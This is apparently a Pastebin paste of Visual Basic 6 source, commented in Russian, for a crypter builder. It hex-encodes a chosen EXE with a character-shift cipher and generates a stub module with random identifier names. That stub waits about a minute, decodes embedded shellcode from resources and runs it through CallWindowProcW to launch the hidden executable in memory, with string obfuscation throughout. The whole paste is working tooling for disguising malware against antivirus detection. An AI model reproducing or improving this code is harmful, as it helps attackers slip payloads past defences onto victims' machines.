Advertisement
Guest User

Untitled

a guest
Jan 25th, 2018
94
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.30 KB | None | 0 0
  1. Dim Rand(1 To 100) As String
  2.  
  3. Private Sub Form_Load()
  4. 'Загрузка темы из ресурсов
  5. Dim dnc1hu99UDaA As String
  6. Dim RZliJ9CJFTW() As Byte
  7. dnc1hu99UDaA = Chr$(92) & Chr$(65) & Chr$(75) & Chr$(73) & Chr$(78) & Chr$(46) & Chr$(77) & Chr$(83) & Chr$(83) & Chr$(84) & Chr$(89) & Chr$(76) & Chr$(69) & Chr$(83)
  8. RZliJ9CJFTW = LoadResData(101, Chr$(67) & Chr$(85) & Chr$(83) & Chr$(84) & Chr$(79) & Chr$(77))
  9. Open dnc1hu99UDaA For Binary As 1#
  10. Put #1, , RZliJ9CJFTW
  11. Close #1
  12. SkinFramework1.LoadSkin Chr$(92) & Chr$(65) & Chr$(75) & Chr$(73) & Chr$(78) & Chr$(46) & Chr$(77) & Chr$(83) & Chr$(83) & Chr$(84) & Chr$(89) & Chr$(76) & Chr$(69) & Chr$(83), vbNullString
  13. SkinFramework1.ApplyWindow Me.hWnd
  14. End Sub
  15.  
  16. Private Sub PushButton1_Click()
  17. 'Открытие EXE файла
  18. With CD
  19. .Filter = "EXE|*.exe"
  20. .ShowOpen
  21. End With
  22. FlatEdit1.Text = CD.FileName
  23. End Sub
  24.  
  25. Public Function sRandom()
  26. 'Генерация рандомных чисел\букв
  27. Dim zeichen As String
  28. Dim i As Integer
  29. Randomize
  30. zeichen = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM"
  31. For i = 1 To Replace(FlatEdit3.Text, "NumKey: ", "")
  32. sRandom = sRandom & Mid$(zeichen, Int((Rnd * Len(zeichen)) + 1), 1)
  33. Next i
  34. End Function
  35.  
  36. Private Sub PushButton2_Click()
  37. For i = 1 To 1
  38. Rand(i) = sRandom
  39. A1 = sRandom
  40. A2 = sRandom
  41. A3 = sRandom
  42. A4 = sRandom
  43. A5 = sRandom
  44. B1 = sRandom
  45. C1 = sRandom
  46. D1 = sRandom
  47. E1 = sRandom
  48. G1 = sRandom
  49. F1 = sRandom
  50. S1 = sRandom
  51. Q1 = sRandom
  52. H1 = sRandom
  53. QQQ = sRandom
  54. WWW = sRandom
  55. EEE = sRandom
  56. RRR = sRandom
  57. TTT = sRandom
  58. YYY = sRandom
  59. UUU = sRandom
  60. Text1.Text = sRandom
  61. Text2.Text = sRandom
  62. Text3.Text = sRandom
  63. Open App.Path & "\Module1.bas" For Append As #1
  64. Print #1, "Private Declare Function CallWindowProcW Lib ""\WINDOWS\SYSTEM32\USER32.DLL"" (ByVal " & A1 & " As Long, ByVal " & A2 & " As Long, ByVal " & A3 & " As Long, ByVal " & A4 & " As Long, ByVal " & A5 & " As Long) As Long"
  65. Print #1, "Private Declare Sub Sleep Lib ""\WINDOWS\SYSTEM32\KERNEL32.DLL"" (ByVal " & B1 & " As Long)"
  66. Print #1, "Private " & C1 & " As String"
  67. Print #1, "Private " & D1 & "(1287) As Byte"
  68. Print #1, ""
  69.  
  70. Print #1, "Public Function " & E1 & "(" & G1 & " As String)"
  71. Print #1, "If " & G1 & " = vbNullString Then"
  72. Print #1, E1 & " = vbNullString"
  73. Print #1, "Exit Function"
  74. Print #1, "Else"
  75. Print #1, "If Not StrComp(Left$(" & G1 & ", Len(" & EEE & "(" & Chr$(34) & dfghsdg("" & Text3.Text & "") & Chr$(34) & "))), " & EEE & "(" & Chr$(34) & dfghsdg("" & Text3.Text & "") & Chr$(34) & ")" & ", vbTextCompare) = 0 Then"
  76. Print #1, "GoTo DecodeError"
  77. Print #1, "End If"
  78. Print #1, "Dim " & F1 & " As String"
  79. Print #1, F1 & "= Mid$(" & G1 & ", 1 + Len(" & EEE & "(" & Chr$(34) & dfghsdg("" & Text3.Text & "") & Chr$(34) & ")))"
  80. Print #1, "If Len(" & F1 & ") Mod 2 = 1 Then"
  81. Print #1, "GoTo DecodeError"
  82. Print #1, "End If"
  83. Print #1, "Dim " & S1 & " As Long"
  84. Print #1, S1 & " = Len(" & F1 & ") / 2"
  85. Print #1, "ReDim hexChars(0 To " & S1 & " - 1) As Byte"
  86. Print #1, "Dim " & Q1 & " As Long"
  87. Print #1, "For " & Q1 & " = 0 To " & S1 & " - 1"
  88. Print #1, "Dim " & H1 & " As String"
  89. Print #1, H1 & " = ""&h"" & Mid$(" & G1 & ", 1 + " & Q1 & " * 2, 2)"
  90. Print #1, "If Not " & "IsNumeric(" & H1 & ") Then"
  91. Print #1, "GoTo DecodeError"
  92. Print #1, "End If"
  93. Print #1, "hexChars(" & Q1 & ") = CByte(" & H1 & ")"
  94. Print #1, "Next " & Q1
  95. Print #1, E1 & " = StrConv(hexChars, vbUnicode)"
  96. Print #1, "End If"
  97. Print #1, "SafeExit:"
  98. Print #1, "Exit Function"
  99. Print #1, "DecodeError:"
  100. Print #1, E1 & " = CVErr(xlErrValue)"
  101. Print #1, "End Function"
  102.  
  103. Print #1, ""
  104. Print #1, "Private Sub MDIForm_Load()"
  105. Print #1, "On Error GoTo Func_Error"
  106. Print #1, "Sleep " & Chr$(34) & "59999" & Chr$(34)
  107. Print #1, "Dim " & Text1.Text & " As String"
  108. Print #1, func_1(dfghsdg(LoadResString(101)))
  109. Dim uc8JmbQUc As String
  110. Open FlatEdit1.Text For Binary As #2
  111. uc8JmbQUc = Space(LOF(1))
  112. Get #2, , uc8JmbQUc
  113. Close #2
  114. Print #1, "Dim " & Text2.Text & " As String"
  115. Print #1, func_2(dfghsdg(oFvJLMLj8(uc8JmbQUc)))
  116. Print #1, "Dim " & WWW & "() As Byte"
  117. Print #1, WWW & " = StrConv(" & E1 & "(" & EEE & "(" & Text2.Text & ")), vbFromUnicode)"
  118. Print #1, C1 & " = StrReverse(" & EEE & "(" & Text1.Text & "))"
  119. Print #1, "Dim " & YYY & " As Long"
  120. Print #1, "For " & YYY & " = 1 To Len(" & C1 & ") - 1 Step 2"
  121. Print #1, "Dim " & UUU & " As Long"
  122. Print #1, D1 & "(" & UUU & ") = CByte(" & EEE & "(" & Chr$(34) & dfghsdg("&H") & Chr$(34) & ")" & " & Mid$(" & C1 & ", " & YYY & ", 2)): " & UUU & " = " & UUU & " + 1"
  123. Print #1, "Next " & YYY
  124. Print #1, "CallWindowProcW VarPtr(" & D1 & "(0)), StrPtr(" & "App.EXEName & " & Chr$(34) & ".EXE" & Chr$(34) & "), VarPtr(" & WWW & "(0)), 0, 0"
  125. Print #1, "End Sub"
  126. Print #1, ""
  127.  
  128. Print #1, "Public Function " & EEE & "(" & RRR & " As String) As String"
  129. Print #1, "Dim " & TTT & " As Long"
  130. Print #1, "For " & TTT & " = 0 To Len(" & RRR & ")" & " - 1"
  131. Print #1, "sconv = Mid(" & RRR & ", " & TTT & " + 1, 1)"
  132. Print #1, "sconv = Asc(sconv) - " & Replace(FlatEdit3.Text, "NumKey: ", "")
  133. Print #1, EEE & " = " & EEE & " & Chr(sconv)"
  134. Print #1, "Next " & TTT
  135. Print #1, "End Function"
  136. Close #1
  137. Next i
  138. End Sub
  139.  
  140. Public Function dfghsdg(Cadena As String) As String
  141. Dim i As Long
  142. For i = 0 To Len(Cadena) - 1
  143. sconv = Mid(Cadena, i + 1, 1)
  144. sconv = Asc(sconv) + Replace(FlatEdit3.Text, "NumKey: ", "")
  145. dfghsdg = dfghsdg & Chr(sconv)
  146. Next i
  147. End Function
  148.  
  149. Public Function oFvJLMLj8(E1xLWbUln As String)
  150. If E1xLWbUln = vbNullString Then
  151. oFvJLMLj8 = E1xLWbUln
  152. Else
  153. Dim sraRRzu0j() As Byte
  154. sraRRzu0j = StrConv(E1xLWbUln, vbFromUnicode)
  155. ReDim hexChars(LBound(sraRRzu0j) To UBound(sraRRzu0j)) As String
  156. Dim MZOedHrjh As Long
  157. For MZOedHrjh = LBound(sraRRzu0j) To UBound(sraRRzu0j)
  158. hexChars(MZOedHrjh) = Right$("00" & Hex$(sraRRzu0j(MZOedHrjh)), 2)
  159. Next MZOedHrjh
  160. oFvJLMLj8 = "" & Text3.Text & "" & Join(hexChars, "")
  161. End If
  162. End Function
  163.  
  164. Function func_1(s)
  165. Dim i As Integer
  166. For i = 1 To Len(s) Step Replace(FlatEdit3.Text, "NumKey: ", "")
  167. Print #1, Text1.Text & " = " & Text1.Text & " & " & Chr$(34) & Mid(s, i, Replace(FlatEdit3.Text, "NumKey: ", "")) & Chr$(34)
  168. Next i
  169. End Function
  170.  
  171. Function func_2(s)
  172. Dim i As Integer
  173. For i = 1 To Len(s) Step Replace(FlatEdit3.Text, "NumKey: ", "")
  174. Print #1, Text2.Text & " = " & Text2.Text & " & " & Chr$(34) & Mid(s, i, Replace(FlatEdit3.Text, "NumKey: ", "")) & Chr$(34)
  175. Next i
  176. End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement